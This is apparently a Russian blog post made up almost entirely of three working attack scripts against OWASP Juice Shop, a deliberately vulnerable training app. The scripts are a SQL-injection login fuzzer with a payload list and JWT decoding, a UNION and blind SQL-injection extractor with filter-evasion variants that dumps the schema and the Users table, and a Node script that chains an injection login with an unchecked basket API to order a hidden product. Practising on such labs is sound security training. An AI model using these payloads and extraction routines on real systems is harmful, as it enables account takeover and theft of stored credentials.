Суббота, OWASP Juice Shop и три самописных скрипта: как я выносил магазинчик соков

sqli_login.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
sqli_login.py — SQLi-фаззер формы входа OWASP Juice Shop.
Точка входа: POST /rest/user/login {"email": ..., "password": ...}
Целевые челленджи: Login Admin / Login Bender / Login Jim
Использование:
python3 sqli_login.py --url http://127.0.0.1:3000
python3 sqli_login.py --url http://127.0.0.1:3000 --proxy http://127.0.0.1:8080
Только для обучения и тестирования на собственных/разрешённых системах.
"""
import argparse
import base64
import json
import sys
try:
import requests
except ImportError:
sys.exit("[-] Требуется пакет requests: pip3 install requests")
requests.packages.urllib3.disable_warnings()
PAYLOADS = [
("tautology-classic", "' OR 1=1--"),
("tautology-quotes", "' OR '1'='1'--"),
("tautology-dash", "' OR 1=1#"),
("admin-targeted", "admin@juice-sh.op'--"),
("admin-targeted-hash", "admin@juice-sh.op'#"),
("bender-targeted", "bender@juice-sh.op'--"),
("jim-targeted", "jim@juice-sh.op'--"),
("comment-closing", "') OR 1=1--"),
("inline-comment", "' OR 1=1/*"),
]
def decode_jwt(token: str) -> dict:
"""Декодирует payload JWT без проверки подписи (для анализа claims)."""
try:
part = token.split(".")[1]
part += "=" * (-len(part) % 4)
return json.loads(base64.urlsafe_b64decode(part))
except Exception as e:
return {"error": str(e)}
def try_payload(session: requests.Session, url: str, email_payload: str) -> dict | None:
body = {"email": email_payload, "password": "password"}
try:
r = session.post(
f"{url}/rest/user/login",
json=body,
headers={"Content-Type": "application/json"},
timeout=10,
verify=False,
)
except requests.RequestException as e:
print(f"[-] Ошибка сети: {e}")
return None
if r.status_code == 200:
token = r.json().get("authentication", {}).get("token")
if token:
return {"status": r.status_code, "token": token}
return {"status": r.status_code, "error": r.text[:200]}
def main() -> None:
ap = argparse.ArgumentParser(description="SQLi-фаззер формы входа Juice Shop")
ap.add_argument("--url", default="http://127.0.0.1:3000", help="базовый URL Juice Shop")
ap.add_argument("--proxy", default=None, help="прокси, например http://127.0.0.1:8080 (Burp)")
args = ap.parse_args()
session = requests.Session()
if args.proxy:
session.proxies = {"http": args.proxy, "https": args.proxy}
print(f"[*] Прокси: {args.proxy}")
print(f"[*] Цель: {args.url}/rest/user/login")
try:
r = session.get(f"{args.url}/rest/products/search?q=apple", timeout=10, verify=False)
print(f"[*] Pre-flight: HTTP {r.status_code}\n")
except requests.RequestException as e:
sys.exit(f"[-] Цель недоступна: {e}\n[-] При работе через Burp убедитесь, что прокси запущен")
print(f"[*] Пейлоадов: {len(PAYLOADS)}\n")
wins = []
for name, payload in PAYLOADS:
print(f"[>] {name:20s} -> {payload!r}")
res = try_payload(session, args.url, payload)
if res and res.get("token"):
claims = decode_jwt(res["token"])
who = claims.get("data", {}).get("email", "unknown")
role = claims.get("data", {}).get("role", "unknown")
print(f" [+] Успех: {who} (role={role})")
wins.append((name, who, res["token"]))
elif res:
print(f" [-] HTTP {res['status']}: {res.get('error', '')[:80]}")
print()
if wins:
print("=" * 60)
print("[*] Успешные входы:")
for name, who, token in wins:
print(f" [+] {name}: {who}")
print(f" JWT: {token[:60]}...")
print("\n[*] Результаты проверяются на /#/score-board")
else:
print("[-] Ни один пейлоад не сработал.")
if __name__ == "__main__":
main()

union_extract.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
union_extract.py — SQLi экстрактор для поиска продуктов OWASP Juice Shop.
Точка входа: GET /rest/products/search?q=
Целевые челленджи: Christmas Special / Database Schema / выгрузка таблиц
Два движка экстракции:
1. UNION-based (быстрый) с перебором вариантов обхода сигнатурных фильтров
2. Boolean-blind (медленный, но работает всегда) — автофолбэк при неудаче UNION
Режимы:
--probe подбор рабочего breakout-паттерна
--find-cols определение числа колонок (ORDER BY + UNION)
--schema выгрузка схемы БД (sqlite_master)
--table T --cols C выгрузка данных таблицы
--blind-expr E [--blind-table T] произвольная blind-выгрузка выражения
--breakout "qwert')) {INJ}--" собственный breakout-паттерн
--no-blind отключить blind-фолбэк
Примеры:
python3 union_extract.py --url http://127.0.0.1:3000 --schema
python3 union_extract.py --url http://127.0.0.1:3000 --table Users --cols id,email,password
python3 union_extract.py --url http://127.0.0.1:3000 --blind-expr "group_concat(sql, char(10))" --blind-table sqlite_master
Только для обучения и тестирования на собственных/разрешённых системах.
"""
import argparse
import html
import json
import re
import sys
from concurrent.futures import ThreadPoolExecutor
try:
import requests
except ImportError:
sys.exit("[-] Требуется пакет requests: pip3 install requests")
requests.packages.urllib3.disable_warnings()
MAX_COLS = 40
# Кандидаты на выход из контекста. {INJ} — место подстановки SQL.
# Параметр q подставляется в запрос дважды (name LIKE и description LIKE),
# поэтому завершающий комментарий обязателен — он нейтрализует вторую копию.
BREAKOUTS = [
"qwert')) {INJ}--",
"qwert')) {INJ} -- ",
"qwert')) {INJ};--",
"qwert')) {INJ}#",
"qwert')) {INJ}/*",
"qwert') {INJ}--",
"qwert' {INJ}--",
"qwert%')) {INJ}--",
]
# Варианты UNION-конструкции для обхода сигнатурных фильтров.
# {COLS} — место подстановки списка колонок.
UNION_STYLES = [
"UNION SELECT {COLS}",
"UNION/**/SELECT {COLS}", # комментарий как whitespace между ключевыми словами
"UNION--\nSELECT {COLS}", # -- комментит до конца строки, SELECT на следующей
"UNION ALL SELECT {COLS}",
"UnIoN SeLeCt {COLS}",
"UNION\tSELECT {COLS}",
]
def send(session, url, q):
"""GET /rest/products/search?q=<q>. Возвращает (status_code, body_text)."""
try:
r = session.get(
f"{url}/rest/products/search",
params={"q": q},
timeout=15,
verify=False,
)
return r.status_code, r.text
except requests.RequestException as e:
return None, str(e)
def extract_error(body: str) -> str:
"""Извлекает текст ошибки из ответа (JSON или HTML-страница ошибки Express)."""
m = re.search(r"<title>(.*?)</title>", body, re.S)
if m:
return html.unescape(m.group(1)).strip()[:400]
try:
data = json.loads(body)
if isinstance(data, dict):
err = data.get("error") or data.get("errors")
if isinstance(err, dict):
return str(err.get("message", err))[:400]
if err:
return str(err)[:400]
return json.dumps(data)[:400]
except (ValueError, TypeError):
pass
return body[:400]
def rows_from(body: str):
try:
return json.loads(body).get("data", [])
except (ValueError, TypeError):
return []
# ----------------------------- разведка -----------------------------
def probe(session, url):
"""Перебор breakout-паттернов с boolean-тестом OR 1=1."""
print("[*] Подбор breakout-паттернов (boolean-тест: OR 1=1)\n")
good = []
for bo in BREAKOUTS:
q = bo.format(INJ="OR 1=1")
code, body = send(session, url, q)
ok = code == 200 and bool(rows_from(body))
mark = "OK" if ok else f"HTTP {code}"
print(f"[{mark:>8s}] {bo!r}")
if ok:
good.append(bo)
else:
print(f" ошибка: {extract_error(body)[:200]}")
print()
if good:
print(f"[+] Рабочие паттерны: {good}")
return good[0]
print("[-] Рабочих паттернов не найдено.")
return None
# ----------------------------- UNION-движок -----------------------------
def find_column_count(session, url, breakout):
"""Число колонок: ORDER BY-проход, затем подтверждение UNION'ом (перебор стилей).
Возвращает (ncols, style) или (ncols, None), если UNION отфильтрован."""
print(f"[*] Определение числа колонок (breakout: {breakout!r})...")
last_ok = 0
for n in range(1, MAX_COLS + 1):
q = breakout.format(INJ=f"ORDER BY {n}")
code, body = send(session, url, q)
if code == 200:
last_ok = n
print(f" ORDER BY {n:2d} -> HTTP 200")
else:
print(f" ORDER BY {n:2d} -> HTTP {code}: {extract_error(body)[:120]}")
if last_ok and n > last_ok:
break
if not last_ok:
print("[-] Определить число колонок не удалось.")
return None, None
print(f"\n[*] Кандидат: {last_ok}. Подтверждение через UNION (перебор вариантов)...")
for style in UNION_STYLES:
q = breakout.format(INJ=style.format(COLS=",".join(["NULL"] * last_ok)))
code, body = send(session, url, q)
if code == 200:
print(f"[+] Подтверждено: колонок = {last_ok}, стиль: {style!r}")
return last_ok, style
err = extract_error(body)[:100]
print(f" {style.split('{')[0].strip()!r:24s} -> HTTP {code}: {err}")
print("[!] UNION отфильтрован. Доступен blind-движок.")
return last_ok, None
def union_select(session, url, breakout, style, ncols, expression, col_pos=2):
"""UNION SELECT с выражением <expression> в колонке <col_pos> (индекс с 0)."""
cols = ["NULL"] * ncols
cols[col_pos] = expression
q = breakout.format(INJ=style.format(COLS=",".join(cols)))
code, body = send(session, url, q)
if code != 200:
print(f"[-] HTTP {code}: {extract_error(body)}")
return []
rows = []
for item in rows_from(body):
vals = list(item.values())
if col_pos < len(vals) and vals[col_pos]:
rows.append(str(vals[col_pos]))
return rows
# ----------------------------- blind-движок -----------------------------
def blind_true(session, url, breakout, condition, _warned=[False]) -> bool:
"""Boolean-оракул: условие истинно, если поиск вернул хотя бы один продукт."""
q = breakout.format(INJ=f"OR ({condition})")
code, body = send(session, url, q)
if code != 200 and not _warned[0]:
_warned[0] = True
print(f"[!] Оракул получил HTTP {code} вместо 200. "
f"Пример условия: {condition[:120]}", file=sys.stderr)
print(f" Ответ сервера: {extract_error(body)[:200]}", file=sys.stderr)
return code == 200 and bool(rows_from(body))
def oracle_selftest(session, url, breakout) -> bool:
"""Самотест оракула: 1=1 -> True, 1=2 -> False. Без этого выкачке нельзя верить."""
t = blind_true(session, url, breakout, "1=1")
f = blind_true(session, url, breakout, "1=2")
if t and not f:
return True
print(f"[-] Самотест оракула провален: (1=1)={t}, (1=2)={f}. "
f"Сервер нестабилен или фильтр режет условия.", file=sys.stderr)
return False
def blind_length(session, url, breakout, scalar, cap=8192) -> int:
"""Длина строки-результата скалярного подзапроса (бинарный поиск)."""
lo, hi = 0, cap
if not blind_true(session, url, breakout, f"length(({scalar})) > 0"):
return 0
while lo < hi:
mid = (lo + hi) // 2
if blind_true(session, url, breakout, f"length(({scalar})) > {mid}"):
lo = mid + 1
else:
hi = mid
return lo
def blind_extract(session, url, breakout, scalar, workers=8) -> str:
"""Посимвольная выгрузка результата скалярного подзапроса.
Бинарный поиск по unicode-коду символа, позиции обрабатываются параллельно."""
if not oracle_selftest(session, url, breakout):
return ""
length = blind_length(session, url, breakout, scalar)
print(f"[*] Длина результата: {length} символов")
if length == 0:
return ""
def char_at(i):
lo, hi = 9, 126 # печатный ASCII + управляющие (\n, \r, \t)
while lo < hi:
mid = (lo + hi) // 2
if blind_true(session, url, breakout,
f"unicode(substr(({scalar}),{i},1)) > {mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo)
chars = [""] * length
with ThreadPoolExecutor(max_workers=workers) as pool:
for i, ch in enumerate(pool.map(char_at, range(1, length + 1)), start=1):
chars[i - 1] = ch
if i % 50 == 0 or i == length:
print(f" прогресс: {i}/{length}", file=sys.stderr)
data = "".join(chars)
print(f"[*] Отладка (первые 120 символов сырых данных): {data[:120]!r}", file=sys.stderr)
return data
# ----------------------------- выгрузка -----------------------------
def dump_schema(session, url, breakout, style, ncols, use_blind, workers):
print("\n[*] Выгрузка схемы из sqlite_master...")
expr = "group_concat(name || ' ::: ' || sql, char(10) || char(10))"
if style:
rows = union_select(session, url, breakout, style, ncols, expr)
if not rows:
print("[-] Данные не получены.")
return
print("[+] Схема базы данных:\n")
for chunk in rows:
for entry in chunk.split("\n\n"):
entry = entry.strip()
if not entry:
continue
if " ::: " in entry:
name, ddl = entry.split(" ::: ", 1)
print(f" [TABLE] {name}\n {ddl[:300]}")
else:
print(f" [TABLE] {entry[:300]}")
print()
elif use_blind:
scalar = f"SELECT {expr} FROM sqlite_master WHERE type = 'table'"
data = blind_extract(session, url, breakout, scalar, workers)
print("\n[+] Схема базы данных (blind):\n")
for entry in data.split("\n\n"):
entry = entry.strip()
if " ::: " in entry:
name, ddl = entry.split(" ::: ", 1)
print(f" [TABLE] {name}\n {ddl[:300]}")
elif entry:
print(f" [TABLE] {entry[:300]}")
def dump_table(session, url, breakout, style, ncols, table, cols, use_blind, workers):
print(f"\n[*] Выгрузка {table} ({cols})...")
joined = " || '|' || ".join(f"ifnull({c.strip()}, 'NULL')" for c in cols.split(","))
if style:
rows = union_select(session, url, breakout, style, ncols,
f"group_concat({joined}, char(10))")
if not rows:
print("[*] group_concat не вернул данных, перебор через LIMIT...")
i = 0
while i < 100:
r = union_select(session, url, breakout, style, ncols,
f"(SELECT {joined} FROM {table} LIMIT 1 OFFSET {i})")
if not r:
break
rows.extend(r)
i += 1
if not rows:
print("[-] Данные не получены. Проверьте имена таблицы/колонок через --schema.")
return
print(f"[+] Содержимое {table} (формат: {cols}):\n")
for chunk in rows:
for line in chunk.split("\n"):
if line.strip():
print(f" {line.strip()}")
elif use_blind:
scalar = f"SELECT group_concat({joined}, char(10)) FROM {table}"
data = blind_extract(session, url, breakout, scalar, workers)
if not data:
print("[-] Данные не получены. Проверьте имена через --schema.")
return
print(f"\n[+] Содержимое {table} (blind, формат: {cols}):\n")
for line in data.split("\n"):
if line.strip():
print(f" {line.strip()}")
# ----------------------------- main -----------------------------
def main():
ap = argparse.ArgumentParser(description="SQLi экстрактор для Juice Shop (UNION + blind)")
ap.add_argument("--url", default="http://127.0.0.1:3000")
ap.add_argument("--proxy", default=None, help="прокси, например http://127.0.0.1:8080 (Burp)")
ap.add_argument("--probe", action="store_true", help="подбор breakout-паттернов")
ap.add_argument("--breakout", default=None, help="свой паттерн, {INJ} — место для SQL")
ap.add_argument("--find-cols", action="store_true", help="определить число колонок")
ap.add_argument("--schema", action="store_true", help="выгрузить схему БД")
ap.add_argument("--table", help="таблица для выгрузки")
ap.add_argument("--cols", default="*", help="колонки через запятую")
ap.add_argument("--blind-expr", help="выражение для blind-выгрузки (напр. group_concat(sql, char(10)))")
ap.add_argument("--blind-table", help="таблица для --blind-expr")
ap.add_argument("--workers", type=int, default=8, help="потоки для blind-режима (по умолч. 8)")
ap.add_argument("--no-blind", action="store_true", help="отключить blind-фолбэк")
args = ap.parse_args()
session = requests.Session()
if args.proxy:
session.proxies = {"http": args.proxy, "https": args.proxy}
code, _ = send(session, args.url, "apple")
if code != 200:
sys.exit(f"[-] Цель недоступна (HTTP {code})")
print(f"[*] Pre-flight: HTTP {code}\n")
if args.probe:
probe(session, args.url)
return
breakout = args.breakout or BREAKOUTS[0]
# Прямой blind-режим без определения колонок
if args.blind_expr:
scalar = f"SELECT {args.blind_expr} FROM {args.blind_table}" if args.blind_table \
else f"SELECT {args.blind_expr}"
print(f"[*] Blind-выгрузка: {scalar}")
data = blind_extract(session, args.url, breakout, scalar, args.workers)
print(f"\n[+] Результат:\n\n{data}")
return
ncols, style = find_column_count(session, args.url, breakout)
if ncols is None:
sys.exit("[-] Число колонок не определено. Попробуйте --probe или --breakout.")
if args.find_cols:
return
use_blind = style is None and not args.no_blind
if style is None and args.no_blind and (args.schema or args.table):
sys.exit("[-] UNION отфильтрован, а blind отключён (--no-blind).")
if args.schema:
dump_schema(session, args.url, breakout, style, ncols, use_blind, args.workers)
if args.table:
dump_table(session, args.url, breakout, style, ncols, args.table, args.cols,
use_blind, args.workers)
if not args.schema and not args.table:
print("\n[*] Укажите действие: --schema или --table <имя> --cols <список>")
if __name__ == "__main__":
main()

basket_order.js

#!/usr/bin/env node
/**
* basket_order.js — заказ скрытого товара в OWASP Juice Shop.
*
* Целевой челлендж: Christmas Special (заказ товара 2014 года, id=10).
* Товар скрыт (deletedAt IS NOT NULL) и не добавляется через UI,
* но API корзины не проверяет видимость продукта.
*
* Цепочка:
* 1. SQLi-логин (POST /rest/user/login) -> JWT + id корзины
* 2. POST /api/BasketItems -> скрытый товар в корзине
* 3. POST /rest/basket/:id/checkout -> заказ оформлен
*
* Использование:
* node basket_order.js [--url http://127.0.0.1:3000] [--product 10] [--proxy http://127.0.0.1:8080]
*
* Требования: Node.js >= 18 (встроенный fetch). Внешних зависимостей нет.
* Только для обучения и тестирования на собственных/разрешённых системах.
*/
const args = {};
for (let i = 2; i < process.argv.length; i += 2) {
args[process.argv[i].replace(/^--/, "")] = process.argv[i + 1];
}
const BASE_URL = (args.url || "http://127.0.0.1:3000").replace(/\/$/, "");
const PRODUCT_ID = parseInt(args.product || "10", 10);
// Прокси для наблюдения за запросами (Burp): NODE_EXTRA_CA_CERTS на корневой CA Burp при HTTPS
if (args.proxy) {
const { ProxyAgent, setGlobalDispatcher } = (() => {
try {
return require("undici");
} catch {
console.log("[!] Для --proxy нужен пакет undici: npm install undici");
process.exit(1);
}
})();
setGlobalDispatcher(new ProxyAgent(args.proxy));
console.log(`[*] Прокси: ${args.proxy}`);
}
async function api(method, path, body, token) {
const res = await fetch(`${BASE_URL}${path}`, {
method,
headers: {
"Content-Type": "application/json",
...(token ? { Authorization: `Bearer ${token}` } : {}),
},
body: body ? JSON.stringify(body) : undefined,
});
const text = await res.text();
let data;
try {
data = JSON.parse(text);
} catch {
data = text.slice(0, 300);
}
return { status: res.status, data };
}
async function main() {
console.log(`[*] Цель: ${BASE_URL}`);
console.log(`[*] Товар для заказа: id=${PRODUCT_ID}\n`);
// Шаг 1: SQLi-логин -> токен и корзина
console.log("[>] Шаг 1: SQLi-логин (' OR 1=1--)...");
const login = await api("POST", "/rest/user/login", {
email: "' OR 1=1--",
password: "password",
});
const auth = login.data && login.data.authentication;
if (login.status !== 200 || !auth || !auth.token) {
console.log(`[-] Логин не удался: HTTP ${login.status}:`, login.data);
process.exit(1);
}
const token = auth.token;
const basketId = auth.bid;
console.log(` [+] Токен получен, корзина bid=${basketId}`);
// Шаг 1.5: проверяем, что уже лежит в корзине (идемпотентность:
// повторный запуск не должен падать, если товар добавлен ранее)
console.log(`[>] Шаг 1.5: смотрим содержимое корзины ${basketId}...`);
const basket = await api("GET", `/rest/basket/${basketId}`, undefined, token);
const products = (basket.data && basket.data.data && basket.data.data.Products) || [];
const already = products.some((p) => p.id === PRODUCT_ID);
if (already) {
console.log(` [+] Товар id=${PRODUCT_ID} уже в корзине, переходим к checkout`);
}
// Шаг 2: скрытый товар в корзину (если его там ещё нет)
if (!already) {
console.log(`[>] Шаг 2: добавляем товар id=${PRODUCT_ID} в корзину ${basketId}...`);
const add = await api(
"POST",
"/api/BasketItems",
{ ProductId: PRODUCT_ID, BasketId: basketId, quantity: 1 },
token
);
if (add.status !== 200 && add.status !== 201) {
console.log(`[-] Не добавилось: HTTP ${add.status}:`, add.data);
process.exit(1);
}
console.log(` [+] Товар в корзине (BasketItem id=${add.data.data && add.data.data.id})`);
}
// Шаг 3: checkout
console.log(`[>] Шаг 3: оформляем заказ (checkout корзины ${basketId})...`);
const checkout = await api("POST", `/rest/basket/${basketId}/checkout`, {}, token);
if (checkout.status !== 200) {
console.log(`[-] Checkout не прошёл: HTTP ${checkout.status}:`, checkout.data);
process.exit(1);
}
console.log(` [+] Заказ оформлен:`, JSON.stringify(checkout.data).slice(0, 200));
console.log("\n[*] Готово. Результат проверяется на /#/score-board (Christmas Special).");
}
main().catch((e) => {
console.log("[-] Ошибка:", e.message);
process.exit(1);
});
5 views